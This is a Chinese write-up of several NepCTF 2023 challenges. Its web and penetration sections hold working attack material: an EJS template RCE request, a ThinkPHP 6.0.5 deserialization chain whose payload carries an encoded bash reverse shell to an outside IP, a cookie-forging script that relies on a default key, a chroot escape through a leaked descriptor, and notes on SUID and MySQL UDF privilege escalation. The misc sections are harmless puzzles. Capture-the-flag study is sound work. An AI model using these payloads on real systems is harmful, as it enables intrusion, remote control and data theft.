23 年八月份的比赛现在才想起来这篇没发过,水一下XD
Web Post Card For You 下载源码,用到了 ejs 模板引擎。 根据文章 https://github.com/aszx87410/blog/issues/139 可知 ejs 存在 rce,源码中不仅渲染参数可控,且存在可以重复创建 ejs 文件避免缓存的接口,满足利用条件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 var path = require ('path' );const fs = require ('fs' );const crypto = require ("crypto" );const express = require ('express' )const app = express()const port = 3000 templateDir = path.join(__dirname, 'template' ); app.set('view engine' , 'ejs' ); app.set('template' , templateDir); function sleep (milliSeconds ) { var StartTime =new Date ().getTime(); let i = 0 ; while (new Date ().getTime() <StartTime+milliSeconds); } app.get('/' , function (req, res ) { return res.sendFile('./index.html' , {root : __dirname}); }); app.get('/create' , function (req, res ) { let uuid; let name = req.query.name ?? '' ; let address = req.query.address ?? '' ; let message = req.query.message ?? '' ; do { uuid = crypto.randomUUID(); } while (fs.existsSync(`${templateDir} /${uuid} .ejs` )) try { if (name != '' && address != '' && message != '' ) { let source = ["source" , "source1" , "source2" , "source3" ].sort(function ( ) { return 0.5 - Math .random(); }) fs.readFile(source[0 ]+".html" , 'utf8' ,function (err, pageContent ) { fs.writeFileSync(`${templateDir} /${uuid} .ejs` , pageContent.replace(/--ID--/g , uuid.replace(/-/g , "" ))); sleep(2000 ); }) } else { res.status(500 ).send("Params `name` or `address` or `message` empty" ); return ; } } catch (err) { res.status(500 ).send("Failed to write file" ); return ; } return res.redirect(`/page?pageid=${uuid} &name=${name} &address=${address} &message=${message} ` ); }); app.get('/page' , (req,res) => { let id = req.query.pageid if (!/^[0-9A-F]{8}-[0-9A-F]{4}-[4][0-9A-F]{3}-[89AB][0-9A-F]{3}-[0-9A-F]{12}$/i .test(id) || !fs.existsSync(`${templateDir} /${id} .ejs` )) { res.status(404 ).send("Sorry, no such id" ) return ; } res.render(`${templateDir} /${id} .ejs` , req.query); }) app.listen(port, () => { console .log(`App listening on port ${port} ` ) })
于是构造 payload,首先请求 /create 接口获取 pageid,这里切记不要访问,不然就触发缓存了 然后用拿到的 pageid 构造 payload,触发 rce 请求如下
1 2 3 4 5 6 7 8 9 10 GET /page?pageid=94dc08c9-4ae0-41d5-9448-041715dd0c09&name=Monring&address=No.1%20Highschool&message=args.shift()&settings[view%20options][client]=true&settings[view%20options][escapeFunction]=(()+%3d>+{})%3breturn+process.mainModule.require("child_process").execSync("cat+/flag").toString() HTTP/1.1 Host: nepctf.1cepeak.cn:31008 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Referer: http://nepctf.1cepeak.cn:31008/ Upgrade-Insecure-Requests: 1 Content-Length: 13
独步天下-转生成为镜花水月中的王者 拿到靶机 nc 连接,用户 pwn 的权限读不了 flag,需要提权。 后来发现靶机可以出网,传了个 linpeas.sh 上去,扫出来 /bin/nmap 有 suid 权限,下回来逆一下。 可以看到程序先是 setuid(0) setgid(0),然后执行了 system(param)。这里猜测是将程序的参数拼接后当作命令执行(直接执行会提示 ports-alive: not found 也就是作为这个文件的参数),存在参数注入,于是 成功提权。
独步天下-破除虚妄_探见真实 接上题,提权后查看网络 可知存在网段 192.168.200/24,传一个静态链接的 nmap 上去扫一下(https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/nmap ) 可知存在机器 192.168.200.1,再次扫描可知开放端口 80 和 82。传一个 npc 端口 p2p 映射到本地 82 是这道题,于是先看 82。打开是一个摄像头后台,右边存在两个可以提交的表单。 第一个表单是 ping,猜测存在命令注入。burp 抓包尝试后可知存在命令注入 这里没能直接反弹 shell,但是可以看 app.py 的源码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 from flask import Flask, render_template, request, url_for, redirectimport osimport ctypesimport ctypes.utilimport timeos.environ['FLASK_ENV' ] = 'production' app = Flask(__name__) app.config['UPLOAD_FOLDER' ] = './' lib_name='./libping.so' def load_ping_library () : mylib = ctypes.CDLL(lib_name) return mylib mylib = load_ping_library() @app.route('/') def index () : return render_template('index.html' ) @app.route('/ping', methods=['POST']) def ping () : global mylib ip_address = request.form['ip_address' ] result = ctypes.create_string_buffer(4096 *2 ) mylib.ping(ip_address.encode('utf-8' ), result) return result.value.decode('utf-8' ) @app.route('/upload_avatar', methods=['POST']) def upload_avatar () : if request.headers.get('X-Forwarded-For' ) != '127.0.0.1' : return "You are not allowed to upload files from this IP address." + " Your IP is: " + request.headers.get('X-Forwarded-For' ) if 'file' not in request.files: return redirect(request.url) file = request.files['file' ] if file.filename == '' : return redirect(request.url) if not allowed_file(file.filename): return 'Invalid file format. Only PNG files are allowed.' MAX_FILE_SIZE = 5 * 1024 if len(file.read()) > MAX_FILE_SIZE: return 'File too large. Maximum size is 5KB.' file.seek(0 ) file.save(os.path.join(app.config['UPLOAD_FOLDER' ], 'avatar.png' )) return redirect(url_for('index' )) def allowed_file (filename) : return '.' in filename and filename.rsplit('.' , 1 )[1 ].lower() == 'png' if __name__ == '__main__' : app.run(host='0.0.0.0' ,port=82 ,debug=False ,use_reloader=False )
第二个表单是上传更新图片的接口,从上面的源码可知指定 X-Forwarded-For 为 127.0.0.1 即可上传文件。这里传一个 python 的 shell 然后从上面提到的 ping 的 rce 处触发反弹 shell 于是拿到了 ctfuser 用户的权限。阅读源码 identity.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <string.h> #include <errno.h> #include <sched.h> #include <unistd.h> #include <sys/syscall.h> #include <linux/seccomp.h> #include <openssl/md5.h> #include <sys/resource.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <string.h> #include <errno.h> #include <sys/ioctl.h> #include <net/if.h> #include <netinet/in.h> #include <arpa/inet.h> #include <stdint.h> void init_dir () { int fd=open ("/home/ctf/sandbox/" ,O_RDONLY); if (fd<2 ) { exit (0 ); } MD5_CTX ctx; char md5_res[17 ]="" ; char key[100 ]="NEPCTF_6666" ; char sandbox_dir[100 ]="/home/ctf/sandbox/" ; char dir_name[100 ]="/home/ctf/sandbox/" ; FILE *new_pip; int i; setbuf(stdin , NULL ); setbuf(stdout , NULL ); setbuf(stderr , NULL ); struct rlimit r ; r.rlim_max = r.rlim_cur = 0 ; setrlimit(RLIMIT_CORE, &r); memset (key, 0 , sizeof (key)); MD5_Init(&ctx); MD5_Update(&ctx, key, strlen (key)); MD5_Final(md5_res, &ctx); for (int i = 0 ; i < 16 ; i++) sprintf (&(dir_name[i*2 + 18 ]), "%02hhx" , md5_res[i]&0xff ); char cmd[100 ]; mkdir (dir_name, 0755 ); if (chdir(dir_name)==-1 ) { puts ("chdir err, exiting\n" ); exit (1 ); } sprintf (cmd,"%s%s" ,"chmod 777 " ,dir_name); system(cmd); mkdir ("bin" , 0777 ); mkdir ("lib" , 0777 ); mkdir ("lib64" , 0777 ); mkdir ("lib/x86_64-linux-gnu" , 0777 ); system("cp /bin/bash bin/sh" ); system("cp /lib/x86_64-linux-gnu/libdl.so.2 lib/x86_64-linux-gnu/" ); system("cp /lib/x86_64-linux-gnu/libc.so.6 lib/x86_64-linux-gnu/" ); system("cp /lib/x86_64-linux-gnu/libtinfo.so.5 lib/x86_64-linux-gnu/" ); system("cp /lib64/ld-linux-x86-64.so.2 lib64/" ); system("cp /bin/bash bin/sh" ); if (chroot("." ) == -1 ) { puts ("chroot err, exiting\n" ); exit (1 ); } } void command (int server_socket,int client_socket) { char buf[0x666 ]; memset (buf,0 ,0x666 ); write (client_socket,"Tmp-Command:" ,sizeof ("Tmp-Command:" )); read (client_socket, buf, 0x10 ); setgid(1001 ); setuid(1001 ); popen(buf,"w" ); } int get_ip_address (const char *interface_name, char *ip_address) { int sockfd; struct ifreq ifr ; sockfd = socket(AF_INET, SOCK_DGRAM, 0 ); if (sockfd < 0 ) { perror("Socket creation failed" ); return -1 ; } strncpy (ifr.ifr_name, interface_name, IFNAMSIZ - 1 ); ifr.ifr_name[IFNAMSIZ - 1 ] = '\0' ; if (ioctl(sockfd, SIOCGIFADDR, &ifr) == -1 ) { perror("ioctl failed" ); close (sockfd); return -1 ; } close (sockfd); struct sockaddr_in *addr = (struct sockaddr_in *)&ifr .ifr_addr ; strcpy (ip_address, inet_ntoa(addr->sin_addr)); return 0 ; } int main (int argc, char **argv) { init_dir(); int flag=1 ; int server_socket, client_socket; struct sockaddr_in server_addr , client_addr ; socklen_t client_len = sizeof (client_addr); server_socket = socket(AF_INET, SOCK_STREAM, 0 ); if (server_socket < 0 ) { perror("Socket creation failed" ); exit (0 ); } memset (&server_addr, 0 , sizeof (server_addr)); server_addr.sin_family = AF_INET; server_addr.sin_addr.s_addr = INADDR_ANY; server_addr.sin_port = htons(9999 ); if (bind(server_socket, (struct sockaddr *)&server_addr, sizeof (server_addr)) < 0 ) { perror("Bind failed" ); exit (0 ); } if (listen (server_socket, 1 ) < 0 ) { perror("Listen failed" ); exit (0 ); } printf ("Server is listening on port 9999...\n" ); client_socket = accept(server_socket, (struct sockaddr *)&client_addr, &client_len); if (client_socket < 0 ) { client_socket = accept(server_socket, (struct sockaddr *)&client_addr, &client_len); } char client_ip[INET_ADDRSTRLEN]; inet_ntop(AF_INET, &client_addr.sin_addr, client_ip, INET_ADDRSTRLEN); printf ("Client connected from IP: %s\n" , client_ip); char ip_address[INET_ADDRSTRLEN]; const char *interface_name = "eth0" ; if (get_ip_address(interface_name, ip_address) == 0 ) { printf ("IP address of eth0: %s\n" , ip_address); } else { printf ("Failed to get the IP address of eth0.\n" ); } while (flag) { if (strcmp (client_ip,ip_address)) { send(client_socket,"Only nc by localhost!\n" ,sizeof ("Only nc by localhost!\n" ),0 ); exit (0 ); } else { flag=0 ; } } command(server_socket,client_socket); return 0 ; }
可知在 eth0 接口的 9999 有一个服务,它创建了一个沙箱,仅接受 eth0 本机 ip 的连接。 在连接到服务后可以在沙箱中以用户 ctf(1001) 执行一条命令,长度限制为 0x10。 由于 /flag_mini 不在沙箱中,无法直接访问到,故不能直接 chmod 777 /flag_mini。 但这里存在一个 int fd=open("/home/ctf/sandbox/",O_RDONLY)
chroot 进入沙箱前打开后未关闭的文件描述符,由于父子进程共享文件描述符,故被执行的我们的程序也可以访问这个文件描述符,进而通过这个文件描述符改变 /flag_mini 的权限,于是编写 exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 #include <stdio.h> #include <fcntl.h> #include <sys/stat.h> #include <unistd.h> int main () { int file_fd = openat(3 , "../../../flag_mini" , O_WRONLY); if (file_fd != -1 ) { if (fchmod(file_fd, 0777 ) == 0 ) { printf ("File permission changed successfully.\n" ); } else { perror("Failed to change file permission" ); } close (file_fd); } else { perror("Failed to open file" ); } return 0 ; }
改变了 /flag_mini 的权限后读取 flag
独步天下-破除试炼_加冕成王 接上题没看的 80 端口,一开始以为是空的,后来扫出来 index.php 后才发现不是。 根据 title/footer 可知是 ZengCMS,搜索后发现源代码 https://gitee.com/nickbai/ZengCMS ,其中提到 使用 admin/123456 成功登录后台 /admin/login.php,这里除了查看一些系统信息外其他的接口都不能用,其中揭示了 thinkphp 的版本 thinkphp 6.0.5 想到可以利用反序列化,首先在 gitee.com 下载源码进行分析,搜索一下 unserialize 函数 其中 cookie 的 admin_auth_cookie 存在反序列化行为,但 admin_auth_cookie 并不是明文,它进行了 think_encrypt 的加密,其中还提供了 think_decrypt 解密函数。这两个函数都需要 key 参数才能正常工作。而这个参数是存在数据库中的,鉴于之前用初始密码成功登录,我猜测并验证了这里部署的 CMS 使用了默认的 key 进行加密,于是在 gitee.com 下载的源码中找一下 key 于是有了可以任意加解密 admin_auth_cookie 的函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 <?php function think_decrypt ($string, $key = '&%¥#@%&*¥%@*¥#' ) { $ckey_length = 0 ; $key = sha1(md5($key)); $string = str_replace(array ('-' , '_' ), array ('+' , '/' ), $string); $keya = sha1(md5(substr($key, 0 , 16 ))); $keyb = sha1(md5(substr($key, 16 , 16 ))); $keyc = $ckey_length ? substr($string, 0 , $ckey_length) : '' ; $cryptkey = $keya . md5($keya . $keyc); $key_length = strlen($cryptkey); $string = base64_decode(substr($string, $ckey_length)); $string_length = strlen($string); $result = '' ; $box = range(0 , 255 ); $rndkey = array (); for ($i = 0 ; $i <= 255 ; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); } for ($j = $i = 0 ; $i < 256 ; $i++) { $j = ($j + $box[$i] + $rndkey[$i]) % 256 ; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } for ($a = $j = $i = 0 ; $i < $string_length; $i++) { $a = ($a + 1 ) % 256 ; $j = ($j + $box[$a]) % 256 ; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256 ])); } if ((substr($result, 0 , 10 ) == 0 || substr($result, 0 , 10 ) - time() > 0 ) && substr($result, 10 , 16 ) == substr(md5(substr($result, 26 ) . $keyb), 0 , 16 )) { return substr($result, 26 ); } else { return '' ; } } function think_encrypt ($string, $key = '&%¥#@%&*¥%@*¥#' , $expiry = 0 ) { $ckey_length = 0 ; $key = sha1(md5($key)); $keya = sha1(md5(substr($key, 0 , 16 ))); $keyb = sha1(md5(substr($key, 16 , 16 ))); $keyc = $ckey_length ? substr(md5(microtime()), -$ckey_length) : '' ; $cryptkey = $keya . md5($keya . $keyc); $key_length = strlen($cryptkey); $string = sprintf('%010d' , $expiry ? $expiry + time() : 0 ) . substr(md5($string . $keyb), 0 , 16 ) . $string; $string_length = strlen($string); $result = '' ; $box = range(0 , 255 ); $rndkey = array (); for ($i = 0 ; $i <= 255 ; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); } for ($j = $i = 0 ; $i < 256 ; $i++) { $j = ($j + $box[$i] + $rndkey[$i]) % 256 ; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } for ($a = $j = $i = 0 ; $i < $string_length; $i++) { $a = ($a + 1 ) % 256 ; $j = ($j + $box[$a]) % 256 ; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256 ])); } return $keyc . str_replace(array ('+' , '/' , '=' ), array ('-' , '_' , '' ), base64_encode($result)); }
然后再找一条 thinkphp 6.0.5 可以用的 pop 链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 <?php namespace think \model \concern { trait Attribute { private $data = [7]; } } namespace think \view \driver { class Php {} } namespace think { abstract class Model { use model \concern \Attribute ; private $lazySave; protected $withEvent; protected $table; function __construct ($cmd) { $this ->lazySave = true ; $this ->withEvent = false ; $this ->table = new route\Url(new Middleware,new Validate,$cmd); } } class Middleware { public $request = 2333 ; } class Validate { protected $type; function __construct () { $this ->type = [ "getDomainBind" => [new view\driver\Php,'display' ] ]; } } } namespace think \model { use think \Model ; class Pivot extends Model {} } namespace think \route { class Url { protected $url = 'a:'; protected $domain; protected $app; protected $route; function __construct ($app,$route,$cmd) { $this ->domain = $cmd; $this ->app = $app; $this ->route = $route; } } } namespace { // bash -c 'bash -i >& /dev/tcp/101.43.22.226/9603 0>&1' echo base64_encode(serialize(new think\Model\Pivot('<?php system(base64_decode("YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuNDMuMjIuMjI2Lzk2MDMgMD4mMSc=")) ?>' ))); }
然后将结果加密成 admin_auth_cookie
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <?php function think_encrypt ($string, $key = '&%¥#@%&*¥%@*¥#' , $expiry = 0 ) { $ckey_length = 0 ; $key = sha1(md5($key)); $keya = sha1(md5(substr($key, 0 , 16 ))); $keyb = sha1(md5(substr($key, 16 , 16 ))); $keyc = $ckey_length ? substr(md5(microtime()), -$ckey_length) : '' ; $cryptkey = $keya . md5($keya . $keyc); $key_length = strlen($cryptkey); $string = sprintf('%010d' , $expiry ? $expiry + time() : 0 ) . substr(md5($string . $keyb), 0 , 16 ) . $string; $string_length = strlen($string); $result = '' ; $box = range(0 , 255 ); $rndkey = array (); for ($i = 0 ; $i <= 255 ; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); } for ($j = $i = 0 ; $i < 256 ; $i++) { $j = ($j + $box[$i] + $rndkey[$i]) % 256 ; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } for ($a = $j = $i = 0 ; $i < $string_length; $i++) { $a = ($a + 1 ) % 256 ; $j = ($j + $box[$a]) % 256 ; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256 ])); } return $keyc . str_replace(array ('+' , '/' , '=' ), array ('-' , '_' , '' ), base64_encode($result)); } $payload = "TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjQ6e3M6MjE6IgB0aGlua1xNb2RlbABsYXp5U2F2ZSI7YjoxO3M6MTI6IgAqAHdpdGhFdmVudCI7YjowO3M6ODoiACoAdGFibGUiO086MTU6InRoaW5rXHJvdXRlXFVybCI6NDp7czo2OiIAKgB1cmwiO3M6MjoiYToiO3M6OToiACoAZG9tYWluIjtzOjEwNjoiPD9waHAgc3lzdGVtKGJhc2U2NF9kZWNvZGUoIlltRnphQ0F0WXlBblltRnphQ0F0YVNBK0ppQXZaR1YyTDNSamNDOHhNREV1TkRNdU1qSXVNakkyTHprMk1ETWdNRDRtTVNjPSIpKSA/PiI7czo2OiIAKgBhcHAiO086MTY6InRoaW5rXE1pZGRsZXdhcmUiOjE6e3M6NzoicmVxdWVzdCI7aToyMzMzO31zOjg6IgAqAHJvdXRlIjtPOjE0OiJ0aGlua1xWYWxpZGF0ZSI6MTp7czo3OiIAKgB0eXBlIjthOjE6e3M6MTM6ImdldERvbWFpbkJpbmQiO2E6Mjp7aTowO086MjE6InRoaW5rXHZpZXdcZHJpdmVyXFBocCI6MDp7fWk6MTtzOjc6ImRpc3BsYXkiO319fX1zOjE3OiIAdGhpbmtcTW9kZWwAZGF0YSI7YToxOntpOjA7aTo3O319" ; var_dump(think_encrypt(base64_decode($payload)));
触发反序列化反弹 shell
reverse-shell2
就拿到了 www-data 的 shell。查看 cms 的数据库配置文件 root:456456zxc+123666 可以进入 mysql 服务,由于 /flag 的所有者为 mysql 用户,故这里上传 lib_mysqludf_sys_64.so 打 udf,/flag 为 000 权限,改变权限后读取 flag。
ez_java_checkin 发现 rememberMe,https://github.com/safe6Sec/ShiroExp 一把梭
Shiro-allinone
反弹 shell
reverse-shell3
读 /flag 权限不够,需要提权。 靶机可出网,上传 linpeas.sh 跑一下可知 find 具有 suid 权限。 这里找一下 GTFOBins 可知在 find 具有 SUID 权限时可以提权 shell,于是根据 https://gtfobins.github.io/gtfobins/find/#suid
Misc 与AI共舞的哈夫曼 根据提示,把代码发给 GPT 后得到解密代码
gpt
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 def decompress (input_file, output_file) : with open(input_file, 'rb' ) as f: num_frequencies = ord(f.read(1 )) frequencies = {} for _ in range(num_frequencies): byte, freq1, freq2, freq3, freq4 = f.read(5 ) freq = (freq1 << 24 ) | (freq2 << 16 ) | (freq3 << 8 ) | freq4 frequencies[byte] = freq root = build_huffman_tree(frequencies) current_node = root with open(output_file, 'wb' ) as out_f: byte = f.read(1 ) while byte: byte = ord(byte) for i in range(7 , -1 , -1 ): bit = (byte >> i) & 1 if bit == 0 : current_node = current_node.left else : current_node = current_node.right if current_node.char is not None : out_f.write(bytes([current_node.char])) current_node = root byte = f.read(1 )
ConnectedFive 开启靶机连接后玩了一会,发现连成五子后棋盘会出现较为诡异的变化,于是采取了随机下也能赢的策略写了一个脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 import randomimport timefrom pwn import *import reconn = remote('nepctf.1cepeak.cn' , 31344 ) regexp = re.compile(r'.*?a\sb\sc\sd\s' , re.S) def get_table () -> str: while True : content = conn.recvuntil('\n\n' .encode(), timeout=30 ).decode() print(content) if regexp.match(content): return content if "{" in content: print(content) conn.interactive() def parse_table () -> list: table = get_table() table = table.replace("[" , " " ).replace("]" , " " ) print(table) lines = [line[3 :].replace("\n" , "" ) for line in table.split("\n\t" )[1 :]] index_x = ord('a' ) index_y = ord('a' ) free_positions = [] for line in lines: for chess in line.split(" " ): if chess not in ["X" , "O" ]: free_positions.append(f"{chr(index_x)} {chr(index_y)} " ) index_x += 1 index_y += 1 index_x = ord('a' ) return free_positions while True : try : next_place = random.choice(parse_table()) print(f"place: {next_place} " ) conn.sendline(next_place.encode()) except : conn.close() conn = remote('nepctf.1cepeak.cn' , 31344 )
经过几轮后得到了 flag
你也喜欢三月七么 附件中是加密的一段字符串和加密的 iv,根据提示可知群名在 SHA256 后中可作为 key 尝试 AES 解密后可知前 32 位为 key 得到一个图片链接 根据题目介绍背景提示找到星穹铁道中文字的字母表 https://github.com/SpeedyOrc-C/HoYo-Glyphs/releases/tag/Alphabet-20230630 对照抄下 flag
小叮弹钢琴 midi 导入 Ableton Live,观察 前半部分是摩斯密码 YOU SHOULD USE THIS TO XOR SOMETHING 提示用这段字符串进行异或 后半部分为 hex ,使用 youshouldusethistoxorsomething 进行异或
赛后
goods
nepnepnepnepnepnepnepnepnep🥰